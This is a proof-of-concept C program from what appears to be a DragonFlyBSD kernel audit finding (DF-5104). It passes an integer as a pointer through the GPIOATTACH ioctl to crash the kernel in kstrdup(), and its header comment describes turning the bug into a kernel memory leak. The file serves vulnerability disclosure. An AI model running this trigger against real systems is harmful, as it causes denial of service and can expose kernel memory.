⬢ DragonFlyBSD Kernel Audit
DF-5104 / gpioled_int_kstrdup.c
← back to finding ↓ download raw
/*
 * DF-5104 trigger -- gpio_led.c led_attach() kstrdup() of a GPIO_TYPE_INT
 * consumer argument (integer used as a pointer).
 *
 * Path (target system, kernel built with `device gpio` + a registered
 * controller, e.g. nsclpcsio(4)):
 *   ioctl(GPIOATTACH, arg_type=GPIO_TYPE_INT, lint=1)
 *     -> gpio_master_ioctl()          sys/dev/misc/gpio/gpio.c:471-478
 *       passes (void *)(long)1 as `arg` because arg_type == GPIO_TYPE_INT
 *     -> gpio_consumer_attach()       sys/dev/misc/gpio/gpio.c:98-138
 *     -> led_attach()                 sys/dev/misc/gpio/gpio_led.c:182
 *       arg != NULL passes the only guard (gpio_led.c:186-187)
 *       sc->name = kstrdup((char *)arg, M_LED);   gpio_led.c:193
 *       -> strlen((char *)1) -> kernel page-fault panic.
 *
 * With lint = <mapped kernel address> instead, kstrdup() copies kernel
 * memory as a string which is then published world-readably as the
 * /dev/led/<name> devfs node name (gpio_led.c:206-207) and kprintf'd to the
 * console (gpio_led.c:211-212) -> kernel memory disclosure.
 *
 * The userland struct below mirrors <dev/misc/gpio/gpio.h> 1:1 (that header
 * is not userland-includable: it drags in sys/conf.h via cdev_t).
 * sizeof == 64 on x86-64: [16]char + int + u_int32_t + int (=28, pad 4) +
 * union{ char[32]; long } at offset 32.
 *
 * Build: cc -Wall -o gpioled_int_kstrdup gpioled_int_kstrdup.c
 * Run:   ./gpioled_int_kstrdup [/dev/gpio/<ctrl><unit>/master]
 *        (default master node name for the only in-tree controller,
 *         nsclpcsio "pc83766" unit 0)
 *
 * Expected on a misc/gpio-equipped system, run by root (master node is
 * 0600 root:wheel, gpio.c:574): immediate kernel panic in strlen/kstrdup.
 * Expected on the stock audit guest: open() fails (ENOENT -- no gpio
 * framework in X86_64_GENERIC) or EACCES when run unprivileged.
 */
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

struct gpio_attach_args {
	char	consumer_name[16];
	int	pin_offset;
	unsigned int pin_mask;		/* u_int32_t */
	int	arg_type;
	union {
		char	string[32];
		long	lint;
	} consumer_arg;
};

#define GPIO_TYPE_INT	0x01
#define GPIOATTACH	_IOWR('G', 6, struct gpio_attach_args)

int
main(int argc, char **argv)
{
	struct gpio_attach_args gaa;
	const char *dev;
	int fd;

	dev = (argc > 1) ? argv[1] : "/dev/gpio/pc873660/master";

	memset(&gaa, 0, sizeof(gaa));
	strlcpy(gaa.consumer_name, "led", sizeof(gaa.consumer_name));
	gaa.pin_offset = 0;			/* first valid pin */
	gaa.pin_mask = 0x1;			/* one pin */
	gaa.arg_type = GPIO_TYPE_INT;		/* arg is an INTEGER ... */
	gaa.consumer_arg.lint = 1;		/* ... non-NULL, -> kstrdup((char *)1) */

	fd = open(dev, O_RDWR);
	if (fd < 0) {
		perror(dev);
		return 1;
	}
	if (ioctl(fd, GPIOATTACH, &gaa) < 0) {
		perror("GPIOATTACH");
		close(fd);
		return 1;
	}
	printf("GPIOATTACH accepted, no crash\n");
	close(fd);
	return 0;
}